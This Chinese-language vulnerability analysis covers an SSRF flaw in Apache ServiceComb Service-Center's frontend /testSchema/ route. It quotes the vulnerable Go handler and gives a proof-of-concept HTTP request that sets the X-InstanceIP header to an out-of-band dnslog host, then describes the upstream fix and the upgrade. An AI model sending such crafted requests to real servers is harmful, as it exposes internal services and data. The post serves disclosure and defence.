漏洞描述

Apache ServiceComb Service-Center是Apache基金会的一个基于Restful的服务注册中心,提供微服务发现和微服务管理,在ServiceComb Service-Center 中的 frontend 组件的契约测试功能存在SSRF漏洞,由于未验证请求的instanceIP参数,攻击者可以向/testSchema/下的路由发送恶意请求获取内部敏感信息。

影响版本

Apache ServiceComb Service-Center < 2.2.0

安全版本

Apache ServiceComb Service-Center 2.2.0

漏洞分析

首先在github上diff代码,结合漏洞通报的描述,可以快速发现漏洞点在在frontend 组件的SchemaHandler.go中

路由分析

将代码下载下来查看,可以发现web框架为Echo框架,其中Echo框架的路由定义非常简单直接创建Echo实例,如何进行定义路由和处理函数就行。我们可以通过下面代码快速了解。

package main

import (
    "net/http"
    "github.com/labstack/echo/v4"
)

func main() {
    // 创建一个Echo实例
    e := echo.New()

    // 定义一个简单的路由
    e.GET("/", func(c echo.Context) error {
        return c.String(http.StatusOK, "Hello, World!")
    })

    // 启动web服务器,监听在本地的1323端口
    e.Logger.Fatal(e.Start(":1323"))
}

在schemaHandler.go文件中SchemaHandleFunc 是一个路由处理函数,在Goland中查找方法,我们可以发现是/testSchema/*路由的处理函数,代码如下。通过对代码分析,我们可以知道代码实现了一个基于echo框架的Go HTTP服务器,首先我们要了解系统架构,是前后端分离的,server代码的作用就是通过echo框架配置了一个静态文件服务器和对特定API路径的代理,将请求分发到到后端服务。

package server

import (
    "log"
    "net/url"
    "os"
    "path/filepath"

    "github.com/apache/servicecomb-service-center/frontend/schema"
    "github.com/labstack/echo/v4"
    "github.com/labstack/echo/v4/middleware"
)

func Serve(c Config) {
    e := echo.New()
    e.HideBanner = true
    // handle all requests by serving a file of the same name
    dir, err := os.Getwd()
    if err != nil {
        log.Fatalf("Cant get cwd, error: %s", err)
    }
    staticPath := filepath.Join(dir, "app")
    e.Static("/", staticPath)

    m := schema.Mux{Disable: os.Getenv("SCHEMA_DISABLE") == "true"}
    e.Any("/testSchema/*", m.SchemaHandleFunc)

    scProxy(c, e)

    log.Printf("Error: %s", e.Start(c.FrontendAddr))
}

// setup proxy for requests to service center
func scProxy(c Config, e *echo.Echo) {
    scUrl, err := url.Parse(c.SCAddr)
    if err != nil {
        log.Fatalf("Error parsing service center address:%s, err:%s", c.SCAddr, err)
    }

    targets := []*middleware.ProxyTarget{
        {
            URL: scUrl,
        },
    }
    g := e.Group("/sc")
    balancer := middleware.NewRoundRobinBalancer(targets)
    pcfg := middleware.ProxyConfig{
        Balancer: balancer,
        Skipper:  middleware.DefaultSkipper,
        Rewrite: map[string]string{
            "/sc/*": "/$1",
        },
    }
    g.Use(middleware.ProxyWithConfig(pcfg))
}

pcfg := middleware.ProxyConfig这里会重写路由规则:将/sc/重写为/,去掉了/sc前缀,此时我们可以知道漏洞的路由为/testSchema。

漏洞点分析

在server.go代码中,进入/testSchema/路由前会读取环境变量的SCHEMA_DISABLE值决定是否开启/testSchema/路由m := schema.Mux{Disable: os.Getenv("SCHEMA_DISABLE") == "true"},可以看到

SchemaHandleFunc函数中会首先判断m.Disable,当为true时直接返回403 Forbidden状态并输出"schema is disabled",默认都为bool。

type Mux struct {
    // Disable represents frontend proxy service api or not
    Disable bool
}

func (m *Mux) SchemaHandleFunc(c echo.Context) (err error) {
    if m.Disable {
        c.Response().WriteHeader(http.StatusForbidden)
        _, _ = c.Response().Write([]byte("schema is disabled"))
        return
    }

    r := c.Request()

    //  protocol:= r.Header.Get("X-InstanceProtocol")
    //  sslActive:=r.Header.Get("X-InstanceSSL")
    var (
        response   *http.Response
        req        *http.Request
        instanceIP = r.Header.Get("X-InstanceIP")
        requestUrl = strings.Replace(r.RequestURI, "testSchema/", "", 1)
        url        = "http://" + instanceIP + requestUrl
    )

    switch r.Method {
    case "GET":
        req, err = http.NewRequest(http.MethodGet, url, nil)
    case "POST":
        req, err = http.NewRequest(http.MethodPost, url, r.Body)
    case "PUT":
        req, err = http.NewRequest(http.MethodPut, url, r.Body)
    case "DELETE":
        req, err = http.NewRequest(http.MethodDelete, url, r.Body)
    default:
        c.String(http.StatusNotFound, "Method not found")
        return

    }

    if err != nil {
        c.String(http.StatusInternalServerError,
            fmt.Sprintf("( Error while creating request due to : %s", err))
        return
    }

    for key, values := range r.Header {
        for _, val := range values {
            if key == "Accept-Encoding" || key == "Connection" || key == "X-Schemaname" || key == "Cookie" || key == "User-Agent" || key == "AppleWebKit" || key == "Dnt" || key == "Referer" || key == "Accept-Language" {
                continue
            } else {
                req.Header.Add(key, val)
            }

        }
    }
    req.Header.Add("Content-Type", "application/json")
    client := http.Client{Timeout: time.Second * 20}
    response, err = client.Do(req)
    if err != nil {
        c.String(http.StatusNotFound,
            fmt.Sprintf("( Error while sending request due to : %s", err))
        return
    }
    respBody, err := ioutil.ReadAll(response.Body)
    if err != nil {
        c.String(http.StatusNotFound,
            fmt.Sprintf("(could not fetch response body for error %s", err))
        return
    }

    c.String(http.StatusOK, string(respBody))
    return nil
}

分析以上代码,r := c.Request()获取请求对象,从声明变量中可以发现instanceIP = r.Header.Get("X-InstanceIP")将请求头中的X-InstanceIP做为实例IP,strings.Replace(r.RequestURI, "testSchema/", "", 1)替换掉请求URI中的"testSchema/,然后将其与获取的instanceIP构造成新的请求URL,然后根据原始请求的HTTP方法,创建新请求对象。后面就是对请求方式判断,以及添加原始请求的头部字段操作。最后response, err = client.Do(req)使用client.Do发送新请求,然后返回请求内容。

构造poc

根据以上分析,我们知道了漏洞的大致流程当访问/testScqhema/*路由时,SchemaHandleFunc函数,会从请求中读取X-InstanceIP参数,并将其定义为instanceIP,然后再将请求URI中的"testSchema/"去掉,再将其与获取的ip一起构造新的请求URL,并访问。并且X-InstanceIP和请求URL我们都可控,就可以构造任意http请求,让服务器访问。

GET /testSchema/sc HTTP/1.1
Host: 127.0.0.1:30103
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-InstanceIP:6e65vf.dnslog.cnn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Mon, 14 Mar 2022 14:09:37 GMT
Connection: close

漏洞复现

总结

通过分析可以发现,写这个方法的主要用途是将/testScqhema/*路由作为一个代理,通过它转发请求到另一个服务,并返回该服务的响应。只是对于请求中的instanceIP参数未经过任何校验,可以看到修复的思路也是新增了一个字段 SchemaTestCIDR,存储一个IP网段,这个字段用于之后checkInstanceHost方法检查请求的IP是否合法。

修复建议

将组件github.com/apache/servicecomb-service-center升级至2.2.0及以上版本

来源:https://avd.aliyun.com/detail?id=AVD-2023-44313
http://www.openwall.com/lists/oss-security/2024/01/31/4
https://lists.apache.org/thread/kxovd455o9h4f2v811hcov2qknbwld5r

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖